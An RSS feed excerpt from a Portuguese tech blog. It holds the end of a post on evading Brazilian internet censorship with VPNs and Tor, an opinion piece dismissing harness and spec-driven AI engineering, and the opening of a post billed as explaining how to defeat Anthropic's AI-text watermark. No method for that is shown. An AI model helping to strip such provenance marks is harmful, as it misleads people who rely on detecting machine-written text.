<p>E as notas honestas de sempre: rodar seu próprio servidor pra uso pessoal é legal; usá-lo pra cometer crime, não. E a partir de 2026, com a nova majorante, &ldquo;usando VPN&rdquo; pesa na pena de qualquer crime que você cometeria de qualquer forma. Mantenha a superfície pequena, teste sua conectividade de dentro do Brasil com regularidade (o que funciona hoje pode ser fingerprint amanhã), tenha plano B (uma segunda VPS, um perfil de Tor com pontes) e mantenha cópias offline de tudo que for crítico.</p>
<p><strong>Avaliação realista:</strong> nenhuma solução é permanente contra um censor determinado e bem financiado. Não é esse o objetivo. O objetivo é encarecer o bloqueio em massa até ele virar mau negócio, técnica e politicamente. Um país que precisa derrubar metade da internet legítima pra calar meia dúzia de vozes tem um problema de relações públicas, não de tecnologia. É nesse custo que a gente aposta.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a escada é VPN comercial, depois VPN própria, depois protocolo ofuscado, depois Tor com pontes, depois satélite. Cada degrau sobe pouco o seu custo e muito o do censor. Comece a subir antes de precisar.</p>

</blockquote>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O padrão brasileiro é o que eu chamei de censura por acumulado: nenhum degrau isolado parece o fim do mundo, e cada um vem com sua plaquinha de boa intenção. Mas a infraestrutura de bloqueio, uma vez montada, não tem dono moral: serve pro governo de hoje e pro de amanhã, contra o alvo de hoje e contra você.</p>
<p>A infraestrutura de comunicação livre funciona igualzinho: também se constrói por acumulado, também tijolo por tijolo. Uma VPN comercial configurada hoje. Uma VPS sua amanhã. Um protocolo ofuscado na gaveta pra quando precisar. Nada disso é paranoia, é a mesma lógica de fazer backup antes do disco falhar.</p>
<p>E se você quer acompanhar essa fronteira de perto, uma recomendação pessoal: siga o <a href="https://x.com/ayubio"target="_blank" rel="noopener">Ayub</a>. É hoje a melhor fonte em português sobre infraestrutura de internet e censura estatal no Brasil. Foi ele quem <a href="https://x.com/ayubio/status/2058990595503509513"target="_blank" rel="noopener">soou o alarme sobre a criminalização de VPNs no PL 3066/2025</a> meses antes de virar lei. E nos últimos dias ele está cobrindo duas coisas que a grande imprensa mal tocou: a entrega de mais de R$ 100 bilhões em redes públicas, dutos e imóveis da União pras operadoras e pro BTG Pactual, e o aparato técnico da nova regulamentação do Marco Civil, que segundo ele deu à Anatel <a href="https://rendageek.com.br/noticias/marco-civil-da-internet-novas-regras/"target="_blank" rel="noopener">acesso remoto aos roteadores de borda dos provedores</a>. Leitura obrigatória pra entender por onde vem o próximo degrau da escada.</p>
<p>A melhor hora de montar o seu túnel era antes de precisar dele. A segunda melhor é agora.</p>
]]></content:encoded><category>redes</category><category>seguranca</category><category>leis-e-regulacao</category></item><item><title>Hot take: Harness, Loop Engineering, Graph Engineering são Bullshit</title><link>https://www.akitaonrails.com/2026/08/18/hot-take-harness-loop-engineering-graph-engineering-sao-bullshit/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/18/hot-take-harness-loop-engineering-graph-engineering-sao-bullshit/</guid><pubDate>Tue, 18 Aug 2026 13:00:00 GMT</pubDate><description>&lt;p&gt;&lt;a href="https://x.com/AkitaOnRails/status/2089734682325794897"target="_blank" rel="noopener"&gt;&lt;img src="tweet-hot-take.png" alt="Hot take no X: Harness, Loop Engineering e Graph Engineering são tudo bullshit pra vender mais horas de consultoria e cursos" loading="lazy" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Soltei &lt;a href="https://x.com/AkitaOnRails/status/2089734682325794897"target="_blank" rel="noopener"&gt;este tweet&lt;/a&gt; hoje de manhã e ele rendeu. O ponto completo: quando a tecnologia em si vira commodity, o dinheiro migra pra taxonomia. Criam cinco nomes novos pra encadear chamada de API e de repente surge uma certificação que expira em seis meses.&lt;/p&gt;
&lt;p&gt;Deixa eu sustentar a provocação com calma, porque ela não é implicância gratuita.&lt;/p&gt;</description><content:encoded><![CDATA[<p><a href="https://x.com/AkitaOnRails/status/2089734682325794897"target="_blank" rel="noopener"><img src="tweet-hot-take.png" alt="Hot take no X: Harness, Loop Engineering e Graph Engineering são tudo bullshit pra vender mais horas de consultoria e cursos"  loading="lazy" /></a></p>
<p>Soltei <a href="https://x.com/AkitaOnRails/status/2089734682325794897"target="_blank" rel="noopener">este tweet</a> hoje de manhã e ele rendeu. O ponto completo: quando a tecnologia em si vira commodity, o dinheiro migra pra taxonomia. Criam cinco nomes novos pra encadear chamada de API e de repente surge uma certificação que expira em seis meses.</p>
<p>Deixa eu sustentar a provocação com calma, porque ela não é implicância gratuita.</p>
<p>Já antecipo o comentário padrão: <em>&ldquo;mas comigo funciona&rdquo;</em>. Bom pra você — de verdade. Só que &ldquo;funciona comigo&rdquo; nunca provou que a cerimônia é o que fez funcionar. O que fez funcionar foi você saber o que queria. A cerimônia só estava no mesmo ambiente.</p>
<h2>O meu recibo<span class="hx:absolute hx:-mt-20" id="o-meu-recibo"></span>
    <a href="#o-meu-recibo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Entre janeiro e maio eu fiz uma <a href="/2026/05/14/terminando-maratona-ia-sucesso-ou-fracasso/">maratona de IA</a> e publiquei <a href="https://github.com/akitaonrails?tab=repositories"target="_blank" rel="noopener">mais de 30 repositórios públicos</a>. Tem ferramenta que eu uso todo dia — <a href="https://github.com/akitaonrails/ai-memory"target="_blank" rel="noopener">ai-memory</a>, <a href="https://github.com/akitaonrails/ai-usagebar"target="_blank" rel="noopener">ai-usagebar</a>, <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a> — e tem app pessoal pra coçar a minha própria coceira: <a href="https://github.com/akitaonrails/frank_mangaplus"target="_blank" rel="noopener">Frank Manga+</a>, <a href="https://github.com/akitaonrails/frank_scanlation"target="_blank" rel="noopener">Frank Scanlation</a>, <a href="https://github.com/akitaonrails/frank_geary"target="_blank" rel="noopener">Frank Geary</a>, e por aí vai.</p>
<p>Sabe o que eu nunca senti vontade de fazer nesse meio tempo? Complicar meu setup de IA. Não tenho um <a href="/2026/05/25/primeiras-impressoes-usando-oh-my-pi-e-opencode/">Pi super customizado</a>, não tenho Hermes, não tenho grafo de agentes orquestrado, não tenho pipeline de specs numeradas. Graças ao ai-memory, <strong>eu troco de harness como troco de cueca</strong>: todo dia, sem limitação. Claude Code de manhã, Codex à tarde, Kimi CLI de noite — a memória do projeto vai junto, então o harness vira detalhe.</p>
<p>E detalhe é o ponto. A maioria dos harnesses é otimizada pro LLM da própria casa. Mas &ldquo;otimizado&rdquo; não quer dizer &ldquo;mágico&rdquo;, e eu tenho dados pra isso.</p>
<h2>O que o meu benchmark diz sobre harness<span class="hx:absolute hx:-mt-20" id="o-que-o-meu-benchmark-diz-sobre-harness"></span>
    <a href="#o-que-o-meu-benchmark-diz-sobre-harness" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No <a href="/2026/08/15/llm-benchmarks-qwen-3-8-glm-5-3-gemini-3-7/">meu LLM Coding Benchmark</a> eu rodo os mesmos modelos em harnesses diferentes, em condições controladas. O resultado é o oposto do que o mercado de cursos sugere:</p>
<ul>
<li><strong>Pra modelo fraco, o harness resgata.</strong> O Grok 4.3 não construiu nada no OpenCode pelado (18 pontos) e entregou um app de verdade no grok CLI (55). O Gemini 3.1 Pro saiu de 62 pra 88 no harness do Google — mas o problema ali era um bug de transporte do OpenRouter, não falta de &ldquo;engenharia de harness&rdquo;.</li>
<li><strong>Pra modelo de fronteira, o harness é ruído.</strong> Grok 4.5: 92 no OpenCode, 91 no grok CLI. Grok 4.6: 92 e 93. Diferença de um ponto, dentro da margem. Nenhuma engenharia de harness move um modelo bom.</li>
<li><strong>Onde o harness morde de verdade é no bolso.</strong> A rodada do Grok 4.6 saiu por $1,19 no grok CLI contra $6,33 no OpenCode via OpenRouter — <strong>mais de 5x mais barato</strong> pelos mesmos ~11 milhões de tokens, porque o CLI oficial usa o cache nativo da xAI. Mesma história no Codex: o GPT 5.6 Terra custou $6,77 blended porque 21 dos 21,7 milhões de tokens bateram no cache; o Sol, da mesma família e mesma nota, saiu por uns $45.</li>
</ul>
<p>Ou seja: escolher um harness decente importa — pra custo e pra dar estrutura a modelo fraco. Mas isso é uma tarde lendo documentação e olhando a fatura de tokens, não uma disciplina nova com trilha de aprendizado.</p>
<p>Já que citei o Hermes lá em cima, vale explicar: o <a href="https://github.com/NousResearch/hermes-agent"target="_blank" rel="noopener">Hermes Agent</a> é um framework open source da Nous Research pra você montar o <em>seu</em> agente pessoal — você define as tools, escreve os loops, configura roteamento por modelo, fallback local/nuvem, gateways de Telegram e Discord, e ele ainda &ldquo;aprende skills&rdquo; com o uso. É o paraíso de quem monta setup.</p>
<p>Também é um segundo emprego: cada peça dessas vira sua responsabilidade de manter, atualizar e depurar, pra sempre. E no fim das contas o motor continua sendo o mesmo Claude, GPT ou Qwen de todo mundo — o chassi customizado não melhora o motor. O que o Hermes resolve de verdade, continuidade de contexto entre sessões e entre ferramentas, um harness decente com um ai-memory da vida já cobre — sem você virar administrador de infraestrutura do próprio assistente.</p>
<p>Se você quer um assistente no seu hardware por hobby ou por privacidade, é ótimo motivo, vai fundo. Como pré-requisito de produtividade, não é.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> harness bom é o que cobra menos e não atrapalha. O resto é o modelo. E modelo bom não precisa de &ldquo;harness engineering&rdquo; — no máximo precisa que o transporte não esteja quebrado.</p>

</blockquote>
<h2>Loop Engineering, Graph Engineering, Spec-Driven Development<span class="hx:absolute hx:-mt-20" id="loop-engineering-graph-engineering-spec-driven-development"></span>
    <a href="#loop-engineering-graph-engineering-spec-driven-development" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Vamos aos nomes, porque eles descrevem coisas reais — só que minúsculas.</p>
<p><strong>Loop Engineering</strong> é o nome da vez pra projetar o ciclo que um agente repete: executa, verifica com evidência, itera até uma condição de parada. Os guias listam modos de falha reais — o agente declarar &ldquo;pronto&rdquo; cedo demais, o objetivo ir derivando a cada volta. Só que a mitigação recomendada é &ldquo;um verificador independente conferindo evidência objetiva&rdquo;. Isso tem nome faz cinquenta anos: <strong>teste e revisão</strong>. Um agente num loop com suíte de testes não é uma disciplina nova, é o básico com nome novo.</p>
<p><strong>Graph Engineering</strong> é desenhar o workflow do agente como um grafo explícito de nós, ramos e junções — a LangChain tem <a href="https://www.langchain.com/blog/3-years-of-graph-engineering-with-langgraph"target="_blank" rel="noopener">três anos dessa história</a>. Faz sentido quando o fluxo é genuinamente ramificado. Só que a maioria esmagadora dos projetos não é um grafo: é uma linha reta com um <code>if</code> no meio. Modelar isso como grafo é comprar um quadro branco gigante pra desenhar uma seta.</p>
<p><strong>Spec-Driven Development</strong> é escrever uma especificação detalhada primeiro e tratar o código como artefato gerado a partir dela — a spec vira a &ldquo;source of truth&rdquo; e o código, subproduto. Guarda esse, que o argumento forte vem já embaixo.</p>
<p>Repare no padrão: cada nome pega uma prática real e pequena — rodar em loop com verificação, desenhar um fluxo, escrever o que você quer antes de fazer — e infla até virar &ldquo;disciplina&rdquo;. A inflação é o produto. Nome novo cria curso, curso cria certificação, certificação expira em seis meses e te vende a recertificação.</p>
<p>Pra ser justo: os guias sérios desses temas já trazem a ressalva — o <a href="https://www.aibuilderclub.com/blog/graph-engineering-guide-2026"target="_blank" rel="noopener">guia de graph engineering</a> mais lido diz na cara que &ldquo;você provavelmente não precisa&rdquo; e manda dominar o loop antes de abrir um grafo, e a LangChain tem uma seção inteira de &ldquo;quando não usar grafos&rdquo;. O problema não é o guia; é o funil que joga a ressalva fora e vende o resto como default pra todo mundo.</p>
<p>Os dois que mais vendem curso — orquestração pesada de agentes e spec-driven development — merecem mais que definição. Merecem o argumento.</p>
<h2>O argumento forte contra a super-orquestração<span class="hx:absolute hx:-mt-20" id="o-argumento-forte-contra-a-super-orquestração"></span>
    <a href="#o-argumento-forte-contra-a-super-orquestra%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem uma matemática simples que os diagramas de agentes orquestrados nunca mostram. Se cada etapa do seu pipeline acerta 90% das vezes — e isso é otimista —, uma cadeia de dez agentes acerta 0,9^10, ou seja, <strong>~35% das vezes</strong>. Cada nó é um ponto novo de falha, e cada aresta é token gasto com agente conversando com agente em vez de trabalhando.</p>
<p>Não precisa acreditar na conta: eu medi isso sem querer no benchmark. O MiniMax M3 rodado debaixo de um orquestrador parecia Tier D, com 24 pontos. O mesmo modelo, limpo, fez 91, Tier A. Uma diferença de até 69 pontos entre condições de harness significa o oposto do que o vendedor de orquestração diz: <strong>quando o plumbing domina o resultado, você parou de medir o modelo e passou a medir o encanamento.</strong> O melhor resultado de todo o benchmark não veio de nenhum enxame orquestrado: veio de um modelo forte, sozinho, num loop simples — Fable 5, 96 pontos, Claude Code, fim.</p>
<p>Faz sentido quando você lembra que coordenação escala mal. Cada agente a mais não adiciona só capacidade; adiciona arestas, contratos de mensagem, estado compartilhado e versões conflitantes da verdade. O roteador que decide &ldquo;qual agente cuida disso&rdquo; vira ao mesmo tempo o gargalo e a fábrica de bugs. Um comitê de agentes medianos com regente não bate um agente capaz com boas ferramentas e memória.</p>
<p>Isso eu já testei diretamente. Em abril eu rodei <a href="/2026/04/25/llm-benchmarks-vale-a-pena-misturar-2-modelos/">três rodadas de &ldquo;modelo forte orquestrando modelo barato&rdquo;</a> — planner + executor, delegação forçada, o pacote completo. Resultado: <strong>nenhuma combinação multi-agente bateu o Opus sozinho</strong> num harness maduro. Numa tarefa coesa como construir um app, o planner precisa ler cada output do executor antes de despachar o próximo passo — os dois viram sequenciais, com latência triplicada e uma fila de coordenação no meio. É o comitê de novo: muita conversa, pouco software.</p>
<p>Não é só o meu benchmark. A Cognition, que vende o Devin, publicou o <a href="https://cognition.com/blog/dont-build-multi-agents"target="_blank" rel="noopener">&ldquo;Don&rsquo;t Build Multi-Agents&rdquo;</a> com um mecanismo mais afiado que a minha conta de 90%: <strong>toda ação carrega decisões implícitas que os outros agentes não veem</strong> — um subagente desenha o fundo estilo Mario, o outro desenha um pássaro incompatível, e nenhuma confiabilidade individual conserta a divergência.</p>
<p>A própria Anthropic, que tem um sistema multi-agente de pesquisa, <a href="https://www.anthropic.com/engineering/multi-agent-research-system"target="_blank" rel="noopener">admite no post de engenharia</a> que multi-agente gasta <strong>15x mais tokens</strong>, que coding é um domínio ruim pra isso — a maioria das tarefas de código não é paralelizável de verdade — e que 80% da melhoria deles veio de simplesmente gastar mais tokens, não da arquitetura.</p>
<p>Quando Berkeley mediu o que realmente roda em produção, <a href="https://arxiv.org/abs/2512.04123"target="_blank" rel="noopener">86 sistemas em 26 domínios</a>: 68% dos agentes em produção executam no máximo 10 passos antes de intervenção humana. O que existe de verdade por aí é loop simples supervisionado — não a constelação de nós coloridos do diagrama do consultor.</p>
<p>Onde a orquestração é legítima: trabalho genuinamente paralelo e independente — varrer dez mil arquivos, rodar dez mil análises descartáveis. Map-reduce existe faz vinte anos e nunca precisou de nome pomposo. E tem um recanto sério além dele: agente rodando de madrugada, sem ninguém olhando, com credencial na mão — aí verificador independente e orçamento duro viram questão de segurança, não de estilo. Mas isso é operação de frota, não o coding do dia a dia que o curso te vende. Fora desses nichos, a maioria das &ldquo;arquiteturas multi-agente&rdquo; é o trabalho de um agente só, com YAML extra.</p>
<p>Tem um motivo pra você ouvir tanto sobre isso: orquestração é complexidade <strong>visível</strong>. Tem diagrama, tem nó colorido, tem dashboard. Um agente bem dirigido não tem nada disso — não tem slide, não tem certificação, não tem o que vender.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> cada agente a mais multiplica os modos de falha. Se o resultado do seu sistema muda quando você troca o orquestrador, o seu sistema é o orquestrador — e o modelo era figurino.</p>

</blockquote>
<h2>O argumento forte contra spec-driven development<span class="hx:absolute hx:-mt-20" id="o-argumento-forte-contra-spec-driven-development"></span>
    <a href="#o-argumento-forte-contra-spec-driven-development" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O SDD parece maduro porque soa como &ldquo;escrever documentação&rdquo;. Mas presta atenção no que ele realmente propõe: a spec vira a fonte da verdade e o código vira artefato gerado. O problema é que <strong>uma spec precisa o bastante pra gerar código correto já é um programa</strong> — só que escrito em prosa, e prosa não compila. Cada ambiguidade da spec é um bug que nenhum compilador pega, num meio sem teste, sem linter, sem feedback. O SDD não remove a parte difícil, que é pensar com precisão; ele move a parte difícil pra um formato onde erro não grita.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> uma spec precisa o bastante pra gerar código correto já é um programa — só que em prosa. E prosa não compila.</p>

</blockquote>
<p>Mesmo que você escreva a spec perfeita, ela começa a morrer no primeiro hotfix. O bug aparece em produção, alguém conserta direto no código, e a spec vira mentira. A gente conhece essa lei faz décadas — é por isso que documentação apodrece. Chamar a spec de &ldquo;fonte da verdade&rdquo; não muda o incentivo de ninguém.</p>
<p>A gente já fez esse experimento, aliás. UML, MDA, &ldquo;o código se gera a partir do modelo&rdquo; — vinte e poucos anos atrás era a mesma promessa com outras siglas. Colapsou sempre pela mesma razão: o modelo nunca era a realidade; o código era. O SDD é o MDA com um LLM pendurado. E <a href="https://www.alexcloudstar.com/blog/spec-driven-development-2026/"target="_blank" rel="noopener">não sou só eu que vejo o Waterfall 2.0 ali</a>.</p>
<p>Quem testou as ferramentas com seriedade chegou no mesmo lugar. A Thoughtworks colocou spec-driven development no anel <a href="https://www.thoughtworks.com/radar/techniques/spec-driven-development"target="_blank" rel="noopener">&ldquo;Assess&rdquo; do Technology Radar</a> — não &ldquo;adote&rdquo;, &ldquo;avalie&rdquo; — depois de ver as ferramentas inflarem tarefas pequenas em cerimônia, e cravou a frase que resume: estamos talvez <em>&ldquo;reaprendendo uma lição amarga: regras detalhadas feitas à mão pra IA simplesmente não escalam&rdquo;</em>. É a Bitter Lesson do Rich Sutton batendo na porta de novo — estrutura artesanal perde pra escala, sempre perdeu.</p>
<p>Tem ainda a inversão temporal. A grande lição do agile foi que você descobre o que quer <strong>construindo</strong> — working software over comprehensive documentation. O LLM acabou de deixar a iteração barata como nunca na história. E o que o SDD propõe? Expandir a fase de planejamento, justo agora que iterar ficou barato. Resposta errada, na direção errada, na hora errada.</p>
<p>É a tese que eu venho martelando desde os primeiros posts de <a href="/2026/02/23/vibe-code-fiz-um-indexador-inteligente-de-imagens-com-ia-em-2-dias/">Agile Vibe Coding</a>: <strong>software emerge, não se planeja</strong>. <a href="/2026/02/20/do-zero-a-pos-producao-em-1-semana-como-usar-ia-em-projetos-de-verdade-bastidores-do-the-m-akita-chronicles/">Escrevi isso em fevereiro, com recibo</a>: as features mais importantes do M.Akita Chronicles nasceram de problema que apareceu no meio do caminho — um job que falhou em silêncio, um site que bloqueou a gem, um crash que deixou email em limbo. Nenhum spec do mundo prevê isso. O sistema correto emerge da iteração, não da especificação.</p>
<p>O processo ficou documentado de novo quando o ai-memory cresceu na mão de 26 contribuidores em 24 dias: <a href="/2026/06/14/ai-memory-arquitetura-emergente-e-software-maleavel/">software bom é escultura de barro, não torre de Lego</a> — maleável, sempre ajustável, nunca pronto. Quem tenta desenhar a arquitetura inteira antes da primeira linha constrói uma camisa de força, não um sistema. Só amador ainda acredita que dá pra especificar o software inteiro antes de codar. Modelagem de verdade não vem de template nem de curso — <a href="/2023/08/11/akitando-144-modelagem-de-software-e-dificil-ver-vs-enxergar/">falei disso anos atrás no Akitando 144</a>: ela nasce de repertório com problema e código reais. Não tem receita pronta; nunca teve.</p>
<p>O SDD tenta ressuscitar a ideia de que dá pra planejar software adiantado — a ideia que a indústria enterrou depois de décadas de projeto entregue atrasado, errado e superfaturado. O LLM não revalidou essa ideia; só deu a ela um PowerPoint novo.</p>
<p>Até quem escreve guia a favor separa as duas coisas: <a href="https://dev.to/krlz/spec-driven-development-in-2026-what-it-is-the-tooling-and-how-teams-actually-use-it-2fk2"target="_blank" rel="noopener">&ldquo;spec-as-source é onde mora o hype; spec-anchored é onde está o valor hoje&rdquo;</a>. O meu alvo aqui é o primeiro. Onde a spec pesada é legítima: time grande, codebase legado, trabalho assíncrono que atravessa fuso e sprint — o bom e velho documento de design, que sempre existiu e sempre teve valor. O que não cola é vender isso como o novo default pra todo mundo.</p>
<p>O meu prompt de benchmark, pra constar, é uma página de objetivos. A diferença é que eu não confio na prosa: eu valido rodando. Precisão mora em teste, não em parágrafo.</p>
<h2>O que você realmente precisa<span class="hx:absolute hx:-mt-20" id="o-que-você-realmente-precisa"></span>
    <a href="#o-que-voc%c3%aa-realmente-precisa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu já escrevi tudo isso aqui no blog, com recibo de projeto real. Chama <a href="/2026/02/23/vibe-code-fiz-um-indexador-inteligente-de-imagens-com-ia-em-2-dias/">Agile Vibe Coding</a>, e cabe num parágrafo:</p>
<p>É XP (eXtreme Programming, o agile raiz) com LLM: testes, <a href="/2026/04/20/clean-code-para-agentes-de-ia/">Clean Code</a>, CI (integração contínua), pair programming e deploy. Você dirige o agente como dirigiria um pair muito rápido: diz o que quer, acompanha a execução, corrige enquanto o erro é barato. A ideia é 10% do trabalho; os outros 90% são engenharia de software normal, a de sempre. <a href="/2026/04/15/como-falar-com-o-claude-code-efetivamente/">Não precisa de framework nem de template de três páginas</a> — precisa saber o que você quer, saber o que você não quer, e saber validar quando chega. E precisa de equilíbrio: <a href="/2026/04/11/vs-code-e-o-novo-cartao-perfurado/">nem largar o volante pro agente, nem virar fiscal de vírgula</a>.</p>
<p>Foram mais de 600 horas disso, mais de meio milhão de linhas, dezenas de projetos no ar. Nenhum grafo, nenhuma certificação, nenhum loop com nome em inglês.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a ideia é 10% do trabalho; os outros 90% são engenharia de software, a de sempre.</p>

</blockquote>
<h2>A peça que me deixa trocar de harness: ai-memory<span class="hx:absolute hx:-mt-20" id="a-peça-que-me-deixa-trocar-de-harness-ai-memory"></span>
    <a href="#a-pe%c3%a7a-que-me-deixa-trocar-de-harness-ai-memory" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem uma ferramenta minha que é o oposto de taxonomia: o <a href="https://github.com/akitaonrails/ai-memory"target="_blank" rel="noopener">ai-memory</a>. Ele nasceu de um problema concreto. Todo harness guarda a sessão no formato dele, e quando a conversa fica longa, ele compacta o histórico pra caber na janela — e a compactação joga fora justamente os detalhes que explicam por que cada decisão foi tomada. Aí você troca de ferramenta e começa do zero, com o projeto inteiro pra reexplicar.</p>
<p>O ai-memory resolve isso do lado de fora do harness. Ele lê a sessão nativa sem tocar no arquivo original e guarda tudo num ledger pesquisável: mensagens, chamadas de ferramenta com resultados, resumos de compactação, checkpoint do git — cada evento marcado com a origem (veio do Claude, do Codex, do OpenCode). Quando eu abro outro harness, ele ganha a sessão nativa dele e recebe só o delta que ainda não viu. Quando eu volto pro anterior, o ai-memory retoma no formato daquele cliente e entrega o que aconteceu nos outros enquanto isso.</p>
<p>É por isso que &ldquo;troco de harness como troco de cueca&rdquo; não é força de expressão. <strong>O conhecimento do projeto mora no projeto, não na sessão de uma ferramenta.</strong> Se a Anthropic mudar preço, limite ou modelo amanhã — e vai mudar —, eu troco o motor sem jogar fora a viagem. Os detalhes de como isso funciona estão <a href="/2026/07/20/novidades-no-meu-ai-memory-cada-vez-melhor-pra-usar-com-suas-ias/">neste post</a>.</p>
<p>Tem ainda uma inversão aqui que despacha o SDD de brinde. O spec-driven development diz que a fonte da verdade é um documento escrito <strong>antes</strong> do trabalho, tentando prever o futuro, e que o código deve obediência a ele. O ai-memory faz o contrário: a fonte da verdade é uma <a href="/2026/06/16/ai-memory-memoria-longo-prazo-karpathy-wiki-auto-aprendizado-hermes-projetos/">wiki destilada do próprio trabalho</a> — cada sessão vira evidência, e o que merece sobreviver (decisões, regras, gotchas, tentativas que falharam) é consolidado em páginas Markdown curtas que qualquer agente lê antes de começar.</p>
<p>A spec tenta adivinhar o projeto; a wiki registra o projeto. Documento escrito antes apodrece no primeiro hotfix, porque ninguém é obrigado a atualizá-lo. A wiki é alimentada pelo próprio ato de trabalhar — e quando desatualiza, você percebe na hora, porque os agentes tropeçam nela toda sessão.</p>
<p>Repare que isso é harness engineering de verdade: uma ferramenta, escrita uma vez, resolvendo um problema meu. Nenhum curso, nenhuma sigla, nenhuma certificação.</p>
<h2>Conclusão: pede o recibo<span class="hx:absolute hx:-mt-20" id="conclusão-pede-o-recibo"></span>
    <a href="#conclus%c3%a3o-pede-o-recibo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não gaste tempo nem dinheiro com curso de &ldquo;harness engineering&rdquo;, &ldquo;loop engineering&rdquo; ou qualquer taxonomia da semana. É tentativa descarada de te cobrar por coisas que você já faz se souber engenharia de software básica.</p>
<p>Esse filme a gente já viu, aliás. O <a href="https://x.com/arantespp/status/2089752215380426951"target="_blank" rel="noopener">Pedro Arantes lembrou no X</a>: <em>&ldquo;Microservices, clean architecture, hexagonal e Domain-Driven Design são tudo bullshit pra vender mais horas de consultoria e cursos.&rdquo;</em> Mesma história, mesmo roteiro. Cada um deles nasceu de um problema real — e virou default de quem não tinha o problema. Microservice pra time de três pessoas, arquitetura hexagonal pro CRUD (o cadastro cria-lê-atualiza-apaga de sempre), DDD pra nunca mais escrever código. A técnica passa, a taxonomia fica, o curso vende.</p>
<p>Pra ninguém se fazer de desentendido: <strong>nada disso é inútil</strong>. Loop com verificação funciona. Grafo funciona quando o fluxo é um grafo de verdade. Spec pesada salva time grande. Microservices resolveram problemas reais de quem tinha escala de verdade; DDD brilha em domínio complexo de verdade. O problema nunca foi a ferramenta — é vender a ferramenta como <strong>bala de prata</strong>, o martelo universal que você precisa aplicar em tudo. Bala de prata não existe, nunca existiu. Quem te vende uma não está vendendo solução; está vendendo curso.</p>
<p>Entenda o mecanismo psicológico, porque ele é velho e eficiente: esses termos existem pra te dar <strong>FOMO</strong> (Fear of Missing Out — o medo de estar perdendo o bonde). Pra te deixar ansioso, achando que está ficando pra trás, que está deixando produtividade na mesa, que todo mundo já migrou pro novo paradigma e você não. Ansiedade vende. Depois que você está inseguro, eles te cobram pra implementar algo de que você nunca precisou. FOMO é real — e aqui, é o modelo de negócio.</p>
<p>O modelo ainda é recorrente — repare na elegância. Primeiro te vendem a metodologia que <strong>gera</strong> artefatos — specs, grafos, boards, diagramas. Os artefatos se multiplicam, ninguém mais sabe onde está nada, e adivinha quem aparece? A mesma consultoria, agora vendendo a ferramenta que <strong>gerencia</strong> os artefatos, o curso que te ensina a gerenciar a ferramenta e o workshop de governança dos artefatos. É o vendedor de pá te parabenizando pelo buraco que você cavou — e te oferecendo uma pá maior.</p>
<p>A Gartner tem até nome oficial pra isso: <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027"target="_blank" rel="noopener">&ldquo;agent washing&rdquo;</a> — pegar produto existente, pendurar a etiqueta &ldquo;agentic&rdquo; e revender. A estimativa deles: só umas <strong>130 das milhares</strong> de empresas que se vendem como &ldquo;IA agêntica&rdquo; são reais, e a previsão é de 40% dos projetos do tipo cancelados até o fim de 2027, por custo, valor incerto ou risco mal controlado. Não é implicância minha; é o ciclo, medido.</p>
<p>Da próxima vez que um influencer ou consultor tentar te empurrar esses produtos, faz uma pergunta simples: <strong>onde estão as suas dezenas de projetos open source de alta qualidade que ficaram melhores por causa dessas &ldquo;técnicas&rdquo;?</strong></p>
<p>Eles não têm o que mostrar. Eu tenho — <a href="https://github.com/akitaonrails?tab=repositories"target="_blank" rel="noopener">está tudo público</a>, com código, benchmark e processo documentado. Quando a tecnologia vira commodity, o dinheiro migra pra taxonomia. Não seja o cliente dessa migração.</p>
]]></content:encoded><category>inteligencia-artificial</category><category>llms</category><category>vibe-coding</category></item><item><title>Entendendo IA Watermark da Anthropic: como burlar</title><link>https://www.akitaonrails.com/2026/08/16/entendendo-ia-watermark-da-anthropic/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/16/entendendo-ia-watermark-da-anthropic/</guid><pubDate>Sun, 16 Aug 2026 16:00:00 GMT</pubDate><description>&lt;p&gt;O Claude agora sai de fábrica com carimbo. Desde 2 de agosto de 2026, a Anthropic marca de forma invisível o texto dos modelos mais novos, e os lançados antes migram ao longo dos meses seguintes.&lt;/p&gt;
&lt;p&gt;Desligar, sem opção. A reação veio rápida: uma &lt;a href="https://www.businessinsider.com/claude-users-cancel-subscriptions-citing-anthropic-new-ai-watermark-2026-8"target="_blank" rel="noopener"&gt;onda de cancelamento de assinatura&lt;/a&gt;, com print do cancelamento circulando no X.&lt;/p&gt;
&lt;p&gt;Antes de cancelar por reflexo, vale saber o que a marca é de verdade. Ela funciona de um jeito bem distinto do que a maioria imagina, existe por um motivo concreto, e desaparece com uma facilidade quase cômica.&lt;/p&gt;</description><content:encoded><![CDATA[<p>O Claude agora sai de fábrica com carimbo. Desde 2 de agosto de 2026, a Anthropic marca de forma invisível o texto dos modelos mais novos, e os lançados antes migram ao longo dos meses seguintes.</p>
<p>Desligar, sem opção. A reação veio rápida: uma <a href="https://www.businessinsider.com/claude-users-cancel-subscriptions-citing-anthropic-new-ai-watermark-2026-8"target="_blank" rel="noopener">onda de cancelamento de assinatura</a>, com print do cancelamento circulando no X.</p>
<p>Antes de cancelar por reflexo, vale saber o que a marca é de verdade. Ela funciona de um jeito bem distinto do que a maioria imagina, existe por um motivo concreto, e desaparece com uma facilidade quase cômica.</p>
<p>Pra quem tem pressa, o essencial:</p>
<ul>
<li><strong>Um viés estatístico nas palavras que o Claude escolhe.</strong> Invisível na leitura, detectável apenas por quem tem a chave da Anthropic. Caractere escondido e fonte estranha ficam de fora.</li>
